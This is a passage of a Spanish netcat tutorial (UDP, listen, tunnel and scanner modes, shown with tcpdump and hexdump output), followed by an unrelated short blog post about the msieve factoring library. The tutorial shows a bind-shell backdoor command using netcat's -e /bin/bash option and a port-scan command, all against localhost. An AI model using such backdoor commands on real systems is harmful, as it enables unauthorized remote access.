echo "datos enviados" | nc -u localhost 1234



Observaremos que la salida de tcpdump con los datos UDP capturados es la
siguiente:

21:14:46.787266 NEPTUNO.32885 > NEPTUNO.1234: udp 15 (DF)
0x0000   4500 002b b17e 4000 4011 8b41 7f00 0001        E..+.~@.@..A....
0x0010   7f00 0001 8075 04d2 0017 79d5 6461 746f        .....u....y.dato
0x0020   7320 656e 7669 6164 6f73 0a                    s.enviados.


Netcat en modo escucha
El modo de escucha de netcat es un complemento interesante. Este nos permite abrir sockets en la máquina local, a los que posteriormente poderemos conectarnos. En el apartado anterior (modo conexión) se ha realizado un ejemplo sencillo del modo de escucha.



Se utiliza la opción -l para indicarle a netcat que deseamos ejecutar la herramienta en modo escucha (listen), indicamos con la opción -p, el puerto en el que deseamos abrir el socket y añadimos -u si deseamos utilizar el protocolo UDP. Recordemos que por defecto netcat utiliza TCP:
nc -u -l localhost -p 1234


Con netstat podemos ver los puertos abiertos de nuestro sistema y el programa asociado a esos puertos:

$ netstat -lunp | grep nc
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
udp        0      0 0.0.0.0:1234            0.0.0.0:* 3624/nc



Una opción que ha sido utilizada durante mucho tiempo como puerta trasera simple, es la opción -e de netcat. Esta opción permite asociar un programa a la conexión establecida.

Por ejemplo, con el siguiente comando dejamos una shell escuchando en el puerto 1234.


$ nc -l  localhost -p 1234 -e /bin/bash



Podemos conectarnos a ella con netcat y utilizarla de un modo similar a la utilidad Telnet:

$ nc localhost 1234
uname -o
GNU/Linux
date
jue dic 18 21:50:07 CET 2003


Netcat en modo tunel
GNU Netcat puede utilizarse para crear túneles de una forma sencilla. Veamos un ejemplo en el que enlazamos el puerto de telnet (23) de una máquina remota al puerto 1234 de la máquina local.

En un terminal escribimos:
$ nc -L remoto:23 -p 1234

En otro terminal nos conectamos al tunel:
$ telnet localhost 1234
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Fedora Core release 1 (Yarrow)
Kernel 2.4.22-1.2135.nptl on an i686
login:



De esta forma hemos conectado el puerto remoto 23 de la máquina "remoto" al puerto local 1234.

En modo tunel puede resultar interessante la opción -x, que realizará un volcado de toda la información que pase por el tunel.


$ nc -L localhost:23 -p 1234 -x
Sent 12 bytes to the socket
00000000  FF FD 18 FF  FD 20 FF FD  23 FF FD 27               ..... ..#..'
Received 12 bytes from the socket
00000000  FF FB 18 FF  FB 20 FF FB  23 FF FB 27               ..... ..#..'
Sent 24 bytes to the socket
00000000  FF FA 20 01  FF F0 FF FA  23 01 FF F0  FF FA 27 01  .. .....#.....'.
00000010  FF F0 FF FA  18 01 FF F0                            ........
Received 107 bytes from the socket
00000000  FF FA 20 00  33 38 34 30  30 2C 33 38  34 30 30 FF  .. .38400,38400.
00000010  F0 FF FA 23  00 4E 45 50  54 55 4E 4F  3A 30 2E 30  ...#.NEPTUNO:0.0
00000020  FF F0 FF FA  27 00 03 58  41 55 54 48  4F 52 49 54  ....'..XAUTHORIT
00000030  59 01 2F 68  6F 6D 65 2F  64 6C 65 72  63 68 2F 2E  Y./home/dlerch/.
00000040  58 61 75 74  68 6F 72 69  74 79 00 44  49 53 50 4C  Xauthority.DISPL
00000050  41 59 01 4E  45 50 54 55  4E 4F 3A 30  2E 30 FF F0  AY.NEPTUNO:0.0..
00000060  FF FA 18 00  58 54 45 52  4D FF F0                  ....XTERM..
Sent 15 bytes to the socket
00000000  FF FB 03 FF  FD 01 FF FD  1F FF FB 05  FF FD 21     ..............!
Received 24 bytes from the socket
00000000  FF FD 03 FF  FC 01 FF FB  1F FF FA 1F  00 50 00 28  .............P.(
00000010  FF F0 FF FD  05 FF FB 21                            .......!
Sent 73 bytes to the socket
00000000  FF FB 01 46  65 64 6F 72  61 20 43 6F  72 65 20 72  ...Fedora Core r
00000010  65 6C 65 61  73 65 20 31  20 28 59 61  72 72 6F 77  elease 1 (Yarrow
00000020  29 0D 0A 4B  65 72 6E 65  6C 20 32 2E  34 2E 32 32  )..Kernel 2.4.22
00000030  2D 31 2E 32  31 33 35 2E  6E 70 74 6C  20 6F 6E 20  -1.2135.nptl on
00000040  61 6E 20 69  36 38 36 0D  0A                        an i686..
Sent 7 bytes to the socket
00000000  6C 6F 67 69  6E 3A 20                               login:
Received 3 bytes from the socket
00000000  FF FD 01                                            ...


Uso de Netcat como scanner
Las funciones de escaner de netcat son muy simples. Puede utilizarse para detectar los servicios de una máquina, pero no dispone de las funciones de escaneo avanzadas de que disponen escáneres como nmap.


El parámetro utilizado para el escaneo es -z. A continuación se especifica la máquina y el rango de puertos a escanear.
nc -v -z localhost 20-24
localhost [127.0.0.1] 22 (ssh) open
localhost [127.0.0.1] 23 (telnet) open

msieve 1.21

Aprovecho mi primer post para comentar la publicación por Jason Papadopoulos de una nueva versión de msieve. Podéis acceder a ella desde http://www.boo.net/~jasonp/qs.html.

msieve es una librería de código abierto de factorización de números grandes. Destaca por ser la implementación más rápida del algoritmo de factorización QS. Actualmente también incluye una implementación del algoritmo de factorización NFS.

El problema de factorización de números grandes es muy importante en criptografía por su utilización en ciertos algoritmos de clave pública como RSA. Su resolución dejaría fuera de combate estos algoritmos, por lo que existe gran cantidad de investigación al respecto.

A continuación dejo algunos enlaces que pueden resultar de interés a los aficionados a la factorización:
- NFSNET: Large-scale distributed factoring.
- DFACT: Distributed Factorization Poject.
- Recuperación de clave después de la factorización.